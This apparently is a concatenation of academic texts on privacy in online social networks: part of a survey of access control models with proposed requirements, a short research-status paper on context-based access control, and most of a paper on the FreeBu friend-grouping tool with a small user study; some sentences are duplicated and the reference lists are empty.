OPEN PROBLEMS AND FUTURE RESEARCH DIRECTIONS
OSNs are dynamically changing environments with various types of interactions and relationships. The continuous change and evolution makes it look as if any access control model will be insufficient due to the rapid changes in those environments. Context-dependency is a fundamental aspect of the specific nature of interactions in OSNs. Users tend to rely on contexts of data objects to base their disclosure decisions (Majeski, Johnson, & Bellovin, 2011). Amongst all changing aspects of OSNs, context-dependency contributes to making access control models more dynamic and adaptive given the evolution of contexts in the OSNs. Context-dependent access control models (Covington et al., 2001) are not strongly employed in the literature. In many models though, context-dependency is exploited to varying degrees. In the gravity-based model contexts represent trust spaces (Maheswaran, Tang, & Ghunaim, 2007). While in Ali, Villegas, and Maheswaran (2007)’s model, history of access is context-dependent and plays a role in authorisation decisions. In the relationship-based ACM of Fong (2011) relationships are context-dependent. Despite the richness of employing such context-dependent aspects, none of those models formalize context-dependency in all relevant aspects of the ACM. In general, type of users, relationships, history of access, objects, permissions and communication are all aspects that can be context-dependent, which when employed in ACMs would yield a more natural depiction of how users actually think of their social spaces (Majeski, Johnson, & Bellovin, 2011).

Protecting contexts that dynamically change in OSNs is a further complicated issue. Access control models offer protection by means of policies defined with no possibility to dynamically adapt the policies to the changes in the OSN. One work that proposes a privacy-preserving approach through guarding access policies over time is the evolving access control model proposed by Crescenzo and Lipton, (2009). The model implements an extra layer in the ACM to guard privacy settings of users over time. The objective is to maximize the ability to share objects between users while preserving their privacy. An automatic manipulation module manages the visibility settings of objects and maintains the privacy of a user. A data object is not considered to be sensitive on its own, rather an aggregation of user’s objects can become at a specific point in time of a sensitive nature depending on changes in relationships, contexts of interaction in the OSN, etc. The model protects sensitive objects and the users’ privacy by protecting at least one of the sensitive subset objects by setting it to private, thereby mitigating possible privacy violations. The contribution of automatic guarding and changing of policies is novel and promises assistance for users in maintaining a certain level of privacy. For a better employment of this approach, users should be able to specify object’s sensitivity criteria in a context-dependent manner. For instance a group of objects is sensitive when disclosed to friends from work might be different from the group of objects that are sensitive to be disclosed to close friends.

Finally, across the wide spectrum of access control models we can still find gaps in matching users’ expectations and requirements for online interaction protection. One of the main issues of why access control models fail is the existence of both offline and online social networks, both of which users rely on to construct their relationships. In specific cases online relationships can complement offline interaction needs. Through facilitating easy communication, online relationships involve more data disclosure when offline social network contact is missing (Dwyer, Hiltz, & Passerini, 2007). Detecting the offline-online SN dependence pattern would enhance users’ experience in OSNs and access control privacy protection.

Next, we summarise the requirements we elicited from the review of access control models literature to provide guidelines for future research.

Requirements of Access Control Models for OSNs
Through our review we have discussed open issues that need to be addressed in future work of ACMs. For this reason we propose specific requirements to address those issues of access control models.

We first propose requirements to address general aspects of access control to enhance the overall functionality and efficiency:
- A model should formalize policies, type of users, relationships, history of access, objects, permissions and communication in a context-dependent manner to enable dynamic adaptation of access control policies when contexts change.
- A model should facilitate potential accessor visibility. When a user composes a policy and verifies it against the possible accessors, this contributes to addressing any inconsistency between whom users think will be accessing their objects and the actual accessors. Such functionality will enable users to make informed decisions about the policies they make.

- A model should be able to learn about users’ privacy preferences and adapt the defined policies over time according to the learned preferences.

- A model should be able to suggest appropriate policies (Majeski, Johnson, & Bellovin, 2011) for new objects or users added to a user’s social space to reduce complexity of composing policies for each update in the OSN.

- A model should facilitate different fine granularity levels of policy definitions. A user should be able to define policies based on specific sets of features.

- A model should be able to maintain the same permissions for the policy targeted-users over time. Normally, a user defines a policy with an intention to allow/prohibit access of a specific set of users, on which the policy criterion applies. This user might require that the policy will always allow/prohibit access to the same set of users over time. Given the changes in the OSN, e.g., relationships, a user who was at a certain point in time prohibited to access some data might gain access. This might happen without the knowledge of the data owner and hence violates his privacy because the user expects that all users who can/cannot access will always have the same permissions. By definition of access control enforcement, a policy criterion will always be consulted to honor or deny a request without any static allocation who is allowed or not allowed to access. This requirement conflicts with the concept of dynamic access control enforcement, yet it has to be possible for a user to opt in for such access control enforcement.

- A model should enable control over third party application permissions. In OSNs, users exchange data and communicate over the network. This functionality is not existent with third party applications. Thus permissions of OSN users should be different from permissions of third party applications.

- A model should adapt to offline-online social networks dependencies.

Hereafter, we propose requirement to address specific issues of ACMs. Based on the type of the OSN, an access control model should satisfy some or all of the following requirements:

- Trust based access control models should assess trust precisely without burdening the user with input that has to be provided for this assessment. In some models users are required to assign trust values for their objects and for friends or other users. While this is an important aspect to capture the user’s mental model about trust values of her objects and friends, the model should incorporate as much information as possible from the OSN and the interactions between users to assess trust from. Moreover, the model should provide a normalization approach for the trust values of different users.

- A model should enhance control over delegation of authority. Many models utilize the notion of delegation through composite relations (Blaze, Feigenbaum, & Lacy, 1996; D. Clarke et al., 2002; N. Li, Grosof, & Feigenbaum, 2003). The downside is that such models do not incorporate fine-grained control to constrain this delegation. For instance, it should be possible to limit how far the delegation of friends-of-friends in the OSN can be propagated. We propose one solution for this challenge by using certificates of delegation proposed in the work of Abadi, Burrows, Lampson, and Plotkin (1993). A certificate proves an authorisation of the holder and indicates constraints about how this delegation can be further extended.

- A model should define negative and positive policies or else explicitly assume a closed-world model (Samarati & Vimercati, 2001). This is required to guarantee that unintended authorisations are never granted.

- A model should properly represent and protect n-owned objects.

- A model should represent any hierarchies of objects, relationships or permissions to the user. This is required to enable the user to comprehend the consequences of propagated permissions from a higher level to a lower level in the hierarchy. This is essential to mitigate implicit permission casting that a user is not aware of, causing privacy vulnerabilities.

- A model should offer specific control over location-based information. In Facebook for instance, location information is added as complementary data to an object. We state that a user should be able to protect this data separately from the object it is attached to.
CONCLUSION
In this chapter we have reviewed the fundamental aspects of access control and the basic essential classical ACMs. We have discussed privacy problems in OSNs and the ACMs requirements to address these problems. We have surveyed the most prominent ACMs and highlighted the main contribution of each model. Throughout the review of ACMs, we indicated the aspects that could be extended. The discussion included models in centralized and decentralized OSNs. Finally, we proposed requirements to address the open problems in current ACMs in order to facilitate fine-grained access control and better privacy preservation in OSNs.

REFERENCES


**ADDITIONAL READING SECTION**


KEY TERMS AND DEFINITIONS
Social network (SN): a set of people connected to each other by social relationships.
Offline Social Networks: real-world social communities.
Online Social Networks (OSNs): web-based services that offer the functionality of creating a personal representation of one’s self through which one can socialize with others.
User: any agent that uses the OSN and is represented via a profile of personal data.
Owner: a user who adds her data, referred to as objects, and can share them with others.
Access control model (ACM): a formalization of how policies are composed based on a specific set of features in the system to regulate and authorise access to data.
Access control policy: constraints on whether an access request to an object should be granted or denied.
Requestor: a user who initiates a request to be granted a specific permission on a specific object from its owner.
Accessor: an authorised requestor that has been granted the specific set of permissions entailed by the policy.
Delegation: entrustment in a user (delegate) to act on an object in a certain way with the authority from the object owner (delegator).
Abstract—This short paper presents the current status of research. The general topic and domain of work is firstly presented. The work that has been done until the current stage is discussed, in order to provide the context of the current research. On basis of the previous work, the current research is presented.

I. RESEARCH BROAD SCOPE

The domain of the our research is security and privacy in online social networks (SPION), which is the project in which the research described in this paper is contextualised within. Access control models (ACM) and accountability is the broad security topic of our research path.

II. ACCESS CONTROL MODELS IN ONLINE SOCIAL NETWORKS

Access control mechanisms are used in information systems to mitigate security and privacy risks of unauthorised access to data. Those mechanisms vary depending on the underlying structure of the system and the levels of protection needed. The focus of my research is on proper ACMs for online social networks (OSNs).

Current ACMs expand upon earlier models with specific enhancements to address requirements, identified weaknesses and limitations in expressiveness. These models are more suited to emerging structure and context changes of systems such as OSNs. Those models vary in complexity and in the protection level they offer. Finding models that compromise fine granularity and complexity towards user-friendliness with an acceptable level of privacy-preservation and protection is a challenge.

As a first step towards understanding the domain, we have analysed the various types of ACMs and provided a thorough comparison of the different underlying aspects [3]. In this work, we have identified gaps and open issues in the various ACMs for OSNs. We have elicited a list of requirements needed to address the open issues in OSNs.

Following is a summary of the requirements that conform to the main fundamental issues of ACMs in the domain in focus:

1) A model should utilise context in access control policies and not only part of the contextual attributes on which normally ACMs are based, such are roles, relationships, trust, reputation.

2) A context-based model should dynamically adapt the policies to context changes.

3) A model should facilitate potential accessor visibility. Such functionality will enable users to make informed decisions about the policies they make.

4) A model should be able to learn about users privacy preferences and adapt the defined policies over time according to the learned preferences.

5) A model should be able to suggest proper access control policies for new objects in order to reduce complexity of composing policies for each update in the OSN.

6) A model should facilitate different fine granularity levels of policy definitions.

7) A model should be able to maintain the same permissions for the policy targeted-users over time. The user might require that the policy will always allow/prohibit access to the same set of uses over time. Given the changes in the OSN, e.g., relationships, a user who was at a certain point in time prohibited to access some data might gain access. This might happen without the knowledge of the data owner and hence violates his privacy because the user expects that all users who can/cannot access will always have the same permissions. By definition of access control enforcement, a policy criterion will always be consulted to honor or deny a request without any static allocation who is allowed or not allowed to access. This requirement conflicts with the concept of dynamic access control enforcement, yet it has to be possible for a user to opt in for such access control enforcement.

8) A model should enable control over third party application permissions. In OSNs, users exchange data and communicate over the network. This functionality is not existent with third party applications. Thus permissions of OSN users should be different from permissions of third party applications.

9) A model should adapt to offline-online social networks dependencies.

More detailed and technical requirements can be found in the work of Sayaf and Clarke [3].
III. More Focused Research

Naturally, the analyzed problems and elicited requirements of ACMs has established the framework on which further research was built. The research that followed is focused on the following topics:

A. Contextual Privacy

We are interested in examining privacy in relation to context and conceptualising this relationship. This research [2] requires understanding the concept of context in OSNs, firstly; and the concept of abstract versus contextual privacy, secondly. The conceptualisation of the relation is essential in order to identify contextual privacy problems, that should be addressed in our context-based ACM work.

Given the abstract notion of context, a major challenge is the identification of context of OSNs. The nature of OSNs is different from offline social networks and any other application. OSNs contains data from within the OSN and possibly from other applications, the web, the offline social network, etc. This multiple-source data causes the context of OSNs to be different from, and possibly more complicated than, any other type of context.

Our work on contextual privacy focuses on identifying context based on a literature review from different disciplines. This work identifies the main parameters that define context in OSNs. Moreover, the work identifies the main issues that underly context-based reasoning and interaction in OSNs.

The work addresses misconception about contextual privacy. One of the main misconceptions is the identification of de-contextualisation as a cause of (contextual) privacy violations. While this concept is recently being used in the literature of security and privacy in OSNs, this concept in fact does not cause any privacy violation. Rather, it is a set of context-related process that cause a privacy violation in certain contexts, which is the contribution of our work [2].

By defining context, contextual privacy and context-related process that causes contextual privacy violations, we identify problem that hinders contextual privacy and discuss solutions that are meant enhance the contextual privacy control in OSNs. These are the question that we are interested in fully answering in this research.

B. Context-based Access Control Model

In social networks, users base their decisions of communication and disclosure on contexts. In order to enhance security and privacy protection in online social networks, contexts should be strongly employed in access control models.

In this work, we formalise contextual access control model for OSNs, based on the contextual privacy research discussed above. The contextual model incorporates two distinctive capabilities: context-based access control and context-aware access control.

This research addresses the problems that are caused by the limitation of ACMs. One of the fundamental issues in this regards is the traditional view of context being represented by the role of users. This perception might be sufficient for certain environments, but not for OSNs, as we discuss in the current ongoing research.

This work is currently being carried on in order to answer the following questions:
1) What kind of context parameters should be utilised in access control policies?
2) Can we formalise contextual knowledge constraints (using epistemic logic) in such ACM?
3) How should the context be represented in the OSN?
4) How should the context be identified in the OSN, by users or OSN (subjectively, commonly-agreed on)?
5) How can the enforcement of policies be implemented?

C. Bottom-up analysis of Privacy Issues in OSNs

In this track, we are interested in examining data from current OSNs. We have worked on a proposed solution of how Facebook or Googleplus data can be analyzed using machine learning techniques to learn essential factors of privacy violation and preservation patterns of users [1].

This work is currently extended in order to answer the following questions:
1) Are there any parameters users rely on when defining access control policies?
2) Is there any hidden association patterns between users’ and objects’ features that affect the access control policies composition process?
3) Is there discrepancy between the friend groups and the ones utilised to define access control policies?
4) Is there a general pattern that underlies the access control policy composition?

IV. Conclusion

Although the research focuses on ACMs, but the related aspects of OSNs interaction contexts and privacy are required to better preserve security and privacy of users. This interrelatedness is a fundamental part of our research, which is the main contribution of the work.

REFERENCES

Interactive Grouping of Friends in OSN: Towards Online Context Management

Bo Gao*, Bettina Berendt*, Dave Clarke*, Ralf De Wolf†, Thomas Peetz*, Jo Pierson‡, and Rula Sayaf*
*Department of Computer Science
Katholieke Universiteit Leuven,
Email: firstname.lastname@cs.kuleuven.be
†SMIT – Studies on Media Information and Telecommunication
Vrije Universiteit Brussel,
Emails: ralf.de.wolf@vub.ac.be, jo.pierson@vub.ac.be


Abstract—In Online Social Networks (OSNs), it can be difficult to maintain the context of a conversation or action, i.e. to know what the situation is and how to act appropriately. The resulting uncertainties may lead to privacy issues. We focus on one issue Context Collision in this paper, and motivate that a first step to address this issue is to help users distinguish groups of contacts within their OSN accounts. We conducted a small user study to investigate the criteria of users grouping the people they know. We summarized our participants’ strategy of labeling the groups and found that they perform the grouping mainly by their connections with others. Informed by this study, we adopted a friend-graph-based community detection approach and developed an semi-automatic and interactive grouping tool FreeBu to aid in the grouping process.

Keywords—online social networks; privacy; transparency tool; context; visualization

I. INTRODUCTION

This paper introduces a software tool that helps users construct friend groups in OSNs. This section motivates our development of this tool.

Over recent years, we witness the tremendous growth of OSNs [6] such as Facebook (www.facebook.com) or Google+ (www.plus.google.com). More and more users participate in online social activities. According to Facebook1, there are 845 million users on Facebook and 483 million daily active users on average by the end of 2011. According to Lampe [19], the purpose of people using Facebook is primarily for maintaining their previous, offline relationships. As the PewInternet 2011 report2 shows: an individual has met 89% of her Facebook friends more than once offline. Research has indicated that, by publishing (personal) information in OSNs: an individual has met 89% of her Facebook friends more than once offline. Following the theoretical framework of Goffman [12], De Wolf and Pierson point out that there is a lack of alternation between the front and back stages in OSNs. This alternation is necessary in constructing a personal identity. But Context Collision deprives the user’s ability to “act on stage” [26].

Given its enormous user base, publishing nature and close connection to the offline world, OSNs often face privacy issues. One widely discussed phenomenon is Context Collision or Context Collapse [5], [20], [23]. As “context” is a multifaceted concept [11], [15], due to the scope of this paper, we do not intend to articulate a comprehensive definition for “context”. However, studies have identified the following two relevant aspects: first, a context contains a group of people, and a particular role is expected from the person when she is within this context, to which we refer as the role-playing aspect [24]; second, the people within a context “are closely related to each other, in such a way that one would expect information about the user’s interactions with one of them to become known to the others” [10], to which we refer as the information-enclosing aspect. Therefore, the information exchange among the members of the same context is usually more private than that among the members from different contexts. For example, a person has two contexts, one is at a company where he is an employee, the other is at home, where he is a husband. He plays two different roles within two different groups of people. The conversations between him and his family is private to his colleagues at work and vice versa. Context Collision refers to the phenomenon that the boundaries among people are blurred, the contexts in which they reside are mixed.

In an offline environment it is not difficult to distinguish between different contexts, because most of the time we know what topics we can talk about, or how we should behave toward others within a specific group of people. Whereas in an online environment, due to the lack of contextualization mechanism in OSNs (as discussed in Section II), such discernment is weakened. Context Collision makes it difficult for a user to control the flow of her personal information in OSNs. Following the theoretical framework of Goffman [13], De Wolf and Pierson point out that there is a lack of alternation between the front and back stages in OSNs. This alternation is necessary in constructing a personal identity. But Context Collision deprives the user’s ability to “act on stage” [26].

If not taking into account the internal demarcation options within OSNs (such as Google+ circles), a user often behaves

in the following two ways without the clear boundaries between contexts. One is to simply address a specific group of friends while others also see the published information. Alternatively, the user applies the lowest denominator strategy [18] – to only post the information that is suitable for all of her friends. In the former, privacy suffers; in the latter, the user’s possibilities to realize different identities are severely constrained.

We see two solution approaches to help the user control her online information flow: 1) Find new ways in controlling the information flow, without the necessity of the user to place her friends into a certain role; or 2) Focus on facilitating the existing demarcation process through privacy feedback and awareness (PFA) tools that are more user-centered. In this paper we choose the latter option.

A first step towards online context management is to help the user distinguish groups of friends in OSNs. PFA tools provide the user with appropriate grouping recommendation as feedback. Once the user is aware of the grouping of her friends in OSNs, it becomes easier for her to decide what to post to whom. Berendt [2] examined the PFA approach regarding information literacy and privacy – the idea of PFA tools is to “show users within the context of their potentially privacy-related activities (e.g. within their social network platforms) important consequences of activities they have performed”. Acquisti et al. [16] introduced the concept of “nudging” or “soft paternalism” towards privacy. Also, people are inherently curious about their online social data [4]. PFA tools can foster users’ understanding and reflection of their privacy. The interactive grouping tool we introduce in this paper is a PFA tool.

The contributions of this paper are: First, we conduct a user study to investigate the criteria what users use to group their friends and other people they know. This provides us a basis to generate descriptions (labels) of detected communities in the tool. Second, based on the findings from the user study, we motivate our choice of graph-based community detection algorithm. Third, we describe a method and an interactive tool for community detection (Section IV-B1) and labeling (Section IV-B2).

II. RELATED WORK

Facebook and Google+ have developed grouping features. Users can create friend lists or circles to distinguish their friends. We identify three limitations of the current grouping approaches in Facebook and Google+:

1. Lack of automated process. Users need to manually construct friend groups such as Facebook lists or Google+ circles, which takes time. The only exception is that Facebook has offered users the automatic grouping function “smartlist”. Four types of attributes are taken into account as the grouping criteria and four corresponding smartlists are generated, namely work, school, family and city. De Wolf and Pierson [27] found that sometimes users think the smartlists are too large, not correct or not relevant, and it appears that people have different criteria in delineating their contexts.

This restricted, attribute-based grouping is also unable to recognize different names of one institution. For example, people from the same school may fill in the name of their school differently, some use abbreviations, some use full name, etc.. This could result in more than one smart list generated about the same school. Smartlist is also limited by the sparsity of the data, i.e. people often do not fill in the information about work, school, family or city.

2. Lack of hierarchy. It is one layer of grouping. The user may want to subdivide a group to make a more fine-grained distinction.

3. Lack of visual presentation. Facebook adopts its traditional web form, the user needs to click a certain list to see who are the group members, how many people inside. Google+ has a more advanced interface where the user can intuitively drag and drop people into different circles. The name and the number of people are displayed on top of a circle. When the mouse hovers over a circle, the photos of the people in this circle are displayed. We can improve this kind of interface by adding more visual cues and interactions. See Section IV-C.

Other tools or proposed solutions that target OSN users with grouping features include: PVis [21] is a privacy-policy comprehension tool that shows the user the visibility of her profile according to the grouping of friends. Social Graph is a Facebook application that detects communities among user’s friends based on the friend graph [3]. Meurs Challenger is another Facebook application similar to Social Graph, although not mentioned in the application description, its underlying clustering algorithm seems to be also based on graphs. InMaps visualizes user’s network on LinkedIn (www.linkedin.com), which is inspired by Gephi (www.gephi.org). Gephi is a general-purpose network visualization tool that can layout and color-code clustering structures of networks. Bacon and Dewan proposed a friend list recommendation algorithm based on friend cliques [1].

We find that these studies adopt a graph-based community detection approach, with various methods. But in the published materials that describe the corresponding implementations, none directly motivates the reason why such approach is adopted. Bacon and Dewan [1] mention that the friends’ detailed information is largely not filled out by the users and it is possible that smart list generates duplicative lists as discussed in the first point. However, to detect communities as recommendations among a user’s friends using their connections is only based on the assumption that it would be useful to the user. In this paper, we present a

5Object graph obtained from Facebook API, such as friend graph, location graph, movie graph, etc.
user study that solidifies this assumption. Note that we use the word “community” interchangeably with “context” as defined in Section I.

It also appears that few have provided an informative graphical user interface to the user with the meta-information about the detected communities. Meta-information is the information about the properties or characteristics of the formed communities. A user can be informed of such information by various visual cues, including textual labels, which only Pviz has applied to its user interface. But, full automation of friend community recommendation is not advisable since a user may group her friends based on a variety of reasons, it is important to leave room for manual and interactive adjustment by the user.

III. USER STUDY

A. Background

In order to provide sensible grouping recommendations to a user, we need to understand the criteria users apply to grouping people. As social networking sites are structured as personal networks [6], usually one OSN account corresponds to one individual, and the individual, as the center of the network, interacts with her friends online. Hence, we base our approach on an egocentric perspective.

In the user study, we asked a participant to group the people she knows personally. We refer to each person as $E$, as in “Ego”, and the people $E$ knows personally are denoted as $F(E)$. Note that $F(E)$ may include both online and offline contacts of $E$, since $E$’s OSN contacts do not cover the whole set of $E$’s contacts in her life. By including offline contacts, we encourage $E$ to think independently of OSNs, to reflect upon what is essential for her to create boundaries/contexts via such grouping, in the hope of discovering a grouping structure that is not distorted due to the limitations of online platforms.

However, one common question asked before any of the groupings to be performed is: “why do we want to group the people we know?”, or “what is the purpose of the grouping?”. It may appear to a user that, without any particular purpose defined, it is not sensible (or even possible) for her to create such grouping. Some argue that different purposes yield very different grouping structures.

While forming contexts is necessary to protect the user’s privacy and help the user present herself appropriately online, the purposes of the formed contexts can be different. For example, a user wants to form a book club, he might group the people he knows into two categories, solely based on a book, one in which people like the book and the other not. The rest of the attributes of the people simply do not matter to the user in this purpose of grouping. We call this kind of grouping the specific-purpose grouping, which only rises to a specific occasion and only considers one or a few specific attribute(s).

There is another type of grouping, which is created when we don’t bear any particular purpose in mind. Instead, we take a holistic view towards the people we know and make general divisions among them. We call it general-purpose grouping. Such grouping can provide an immediate impression of $F(E)$ that is considered clear and sensible, so as to well illustrate and summarize the connections or relationships of $E$. Also because of its generality, $E$ can almost always construct other specific-purpose groupings by starting from the general-purpose one.

B. Participants and Method

We asked 15 participants to group the people they know in their lives. Out of the fifteen, six are PhD candidates in Computer Science, three are employees from different companies, the other six are Bachelor students from different universities. 40% of the participants are females. The ages range from twenty-two to thirty-one. Note that our selection of the users is mainly limited in terms of age. Nonetheless, given the fact that young people are driving the usage of Facebook [17], we believe this study holds value in aiding group-building in OSNs.

Each $E$ is asked to draw a grouping structure of $F(E)$, in a star-tree form. If $E$ is not familiar with the concept of star tree, an example is given, as in Figure 1. The participants were asked to construct the drawing on a computer with a drawing tool of their choice or on paper. It is an intuitive means that allows us to quickly identify $E$’s grouping criteria. We give the following guidelines:

- Group the people in $E$’s life, who $E$ knows personally and is alive.
- $E$ is supposed to be in the middle as the “self” in the example from which all the curves (i.e. branches) sprout.
- Hierarchy is allowed, i.e. a branch can split into more branches, each branch is considered as a group, the subbranch as the subgroup, and so on.
- The label on each branch characterizes or summarizes the people within that branch; if a branch contains only one person, a label may not be required.
- The same person can appear in different (sub) branches.
- Proceed with the grouping until that adding more people would not require new (sub) branch(es).
- Labeling the tips of the branches with names is encouraged, as illustrated in Figure 1, but not mandatory.

C. Results and Interpretation

We analyzed the fifteen general-purpose groupings of the participants by categorizing their labels and counting the frequencies of the labels. We observed that the grouping labels used were similar and categorized them into ten categories: Interests/ Hobbies (I/H), Education-related (edu),
Work-related (work), Other-Organization-related (OO), Language/Nationalities (L/N), Location-related (loc), Time-related (time), Age-related (age), Family-related (family) and Connection-related (conn).

Interests/Hobbies labels indicate a group of people performing recurrent activities based on common interests, including keywords such as “skiing”, “rugby”, “concert group”, “travel buddies”, “pingpong club”, etc.. Education-related labels include school, university and major names, degree titles, or the keywords such as “classmates”, “fellow students”, “professors”, etc.. Work-related labels mainly cover company names, project names, and the keywords such as “work”, “leaders”, “colleagues”, etc.. Other-Organization-related labels indicate that people being grouped based on organizations that are different from schools, universities and corporations, e.g. a youth-movement organization. The labels of Language/Nationalities are used to distinguish groups of people with different nationalities, languages or ethnic backgrounds. Location-related labels categorize people based on locations, the keywords are city names. Time-related labels specifically indicate a period of time, such as “current”, “old”, “childhood”. Age-related labels include “elderly”, “peers”, “senior”, “junior”, etc.. Family-related labels cover keywords such as “relatives”, “(not) related-by-blood”, “parents”, etc.. Connection-related labels indicate the strengths or types of connections that E has with other people. The keywords include “close”, “best”, “(dis)like”, “acquainted”, “not interested”, etc., or secondary connections that express E knowing a group of people via a specific person X, who acts as a bridge and is considered an important grouping indicator, the keywords of secondary connections include: “X’s friends”, “X’s connections”, “via X”, etc..

To measure the importance of each category of the labels, we count the frequency of the labels in each category. The initial counting result is shown in Table I. The columns are the categories of the labels, the rows are Es. Note that some people perform the grouping in a more detailed way than others, i.e. with more labels. For example, if E happens to have a big family with various relatives, such situation may force her to put more family-related labels into the star tree, which gives us the impression that she emphasizes the importance of the family-related labels, while she actually considers the other categories of labels just as important.

To compare all the counts on the same scale, each E’s counts are divided by her total number of counts respectively, deriving percentages. Then, we calculate the average percentage for each category of labels, the result is shown in Figure 2. On average, each E uses 36% connection labels, 24% education labels, 18% family labels, 8% work labels.

We see that Es perform the groupings primarily based on their connections with \( F(E) \), they consider the types and strengths of these connections important. For example, from Es’ drawings, we observed that close friends and acquaintances were often prominently distinguished, or, a group of people who E got to know through a friend was often emphasized, preceding other criteria. Also, the connection-related criterion and others often work in a mixed fashion. We observed that some Es first grouped \( F(E) \) according to schools, then within each school, people were divided based on connections, e.g. closed ones and acquainted ones.

![Figure 1. A grouping-tree example.](image)

![Figure 2. The Ranking of the Categories of Labels](image)

<table>
<thead>
<tr>
<th>E</th>
<th>edu</th>
<th>work</th>
<th>OO</th>
<th>L/N</th>
<th>loc</th>
<th>time</th>
<th>age</th>
<th>family</th>
<th>conn</th>
</tr>
</thead>
<tbody>
<tr>
<td>E1</td>
<td>1</td>
<td>8</td>
<td>12</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>2</td>
<td>2</td>
<td>1</td>
</tr>
<tr>
<td>E2</td>
<td>0</td>
<td>4</td>
<td>10</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>4</td>
<td>3</td>
</tr>
<tr>
<td>E3</td>
<td>0</td>
<td>2</td>
<td>4</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>9</td>
<td>7</td>
</tr>
<tr>
<td>E4</td>
<td>0</td>
<td>6</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>44</td>
</tr>
<tr>
<td>E5</td>
<td>1</td>
<td>0</td>
<td>6</td>
<td>0</td>
<td>4</td>
<td>4</td>
<td>0</td>
<td>4</td>
<td>5</td>
</tr>
<tr>
<td>E6</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>1</td>
<td>4</td>
</tr>
<tr>
<td>E7</td>
<td>3</td>
<td>11</td>
<td>7</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>4</td>
<td>5</td>
</tr>
<tr>
<td>E8</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>3</td>
<td>2</td>
</tr>
<tr>
<td>E9</td>
<td>0</td>
<td>8</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>4</td>
<td>3</td>
<td>15</td>
</tr>
<tr>
<td>E10</td>
<td>0</td>
<td>6</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>4</td>
<td>3</td>
</tr>
<tr>
<td>E11</td>
<td>0</td>
<td>5</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>3</td>
<td>6</td>
</tr>
<tr>
<td>E12</td>
<td>0</td>
<td>4</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>0</td>
<td>4</td>
<td>12</td>
</tr>
<tr>
<td>E13</td>
<td>0</td>
<td>14</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>3</td>
<td>1</td>
</tr>
<tr>
<td>E14</td>
<td>2</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>15</td>
</tr>
<tr>
<td>E15</td>
<td>1</td>
<td>6</td>
<td>5</td>
<td>0</td>
<td>2</td>
<td>0</td>
<td>0</td>
<td>4</td>
<td>7</td>
</tr>
</tbody>
</table>
The observation on the mixed grouping strategy suggests that other important criteria such as education, family and work are inherently connection-based. Because people are more likely to form connections in the same family, school or workplace than in the different, and given the popularity of the groupings based on secondary connections, it follows that during a grouping, $E$ considers not only her connections with $F(E)$, but also the connections among $F(E)$. These connections play a hidden but key role in the groupings with the non-connection-related criteria.

### D. Implications of the Results for Tool Design

Essentially, the connection information is more informative than the attributes. While the attributes convey simple facts – education, family, work, hobbies, languages, etc. – about people, the connection information may imply more complex relationships that are formed and shaped through a history of interpersonal interactions, and cannot be easily expressed by the attributes. Thus, the connection-based grouping is favored by the participants.

Recall the two aspects of a context from Section I, we see that during grouping, the participants consider both of the role-playing aspect (as in the attribute-based criteria) and the information-enclosing aspect (as in the connection-based criteria). The groups constructed in the general-purpose grouping are a manifestation of the privacy contexts of the participants.

Note that the user study is not an evaluation. Also because the small number of participants, the study can hardly be statistically relevant. But it serves as a useful starting point for us to inform the design choices of our grouping tool. More specifically, we select a user’s Facebook data according to the grouping criteria for label derivation and adopt a graph-based community detection algorithm. Finally, we use a hierarchical tree structure as the visual presentation of the groups. All is elaborated in Section IV.

### IV. A FRIEND-GROUPING TOOL FOR OSNs

This section describes the method that we use to recommend an initial grouping of the user’s OSN friends, while enabling the user to explore and adapt this grouping according to her needs, and eventually publish the results onto her OSN account. Due to the prevalence of Facebook among today’s OSNs, we have implemented this tool based on Facebook data. The method is however applicable for any other OSNs that provide data access to its social graph and profile data. We call our tool FreeBu, short for Friend tree Bubbles.

#### A. Data

We base our PFA tool on the data retrieved via Facebook graph API\(^6\) with the user’s access token. We aid the user to group her Facebook friends, by firstly recommending an initial grouping structure, assigning appropriate labels to the groups and then letting her further adjust the grouping (see the following sections on Computational Model and User Interface). The grouping is constructed based on the user’s friend graph, in which each node is a friend of the user’s, if two friends are also friends to each other, they are linked. Note that such links are unweighted. We generate labels for the groups with collected attribute-based data:

If the user has family members registered as Facebook users and the user has indicated them as family members on Facebook, such information can be retrieved, including the names of the family members and their types of relationships with the user, e.g. cousin, aunt. Education-related data includes a list of schools, each school has its name and type, e.g. high school or graduate school, with possibly more information such as the year and the concentrations if the user has filled in. Work-related data includes a list of work-objects, each object contains the name and the location of the employer, the position of the user, the starting and ending time of the job. Language-related data includes a list of names of the languages that user speaks. For hobby-related data, we collect the “likes” of a user, which may contain anything, from sports to TV shows, from a public figure to a book, etc..

It is important to let the user form sensible groups on their own, by providing options of available OSN data on a meta-level. For example, what data attributes are available on OSN, how are people distributed over these attributes. Eventually, let the user decide what data is most relevant and what grouping structure is closest to what she has in mind.

#### B. Method

The task of recommending groups to a user is two-fold. First, to detect communities in user’s online social network, second is to derive labels for each community based on the data described in Section IV-A.

1) **Community Detection:** As motivated previously, we adopt a graph-based community detection algorithm – more specifically, the Louvain method \([3]\) – to extract communities from the user’s friend graph. It is a heuristic method that is based on modularity optimization. As stated by the authors, the method is shown to outperform all other known community detection method in terms of computation time, with reasonably good quality of the detected communities, which is characterized by modularity. Modularity measures the density of links inside communities as compared to links between communities \([22]\). An area with more mutually connected friends is more likely to be identified as a community. The Louvain method outputs flat communities.

2) **Label Derivation:** To support the exploration of the visualization, and help the user identify the characteristics of different groups, it is critical to derive informative labels.
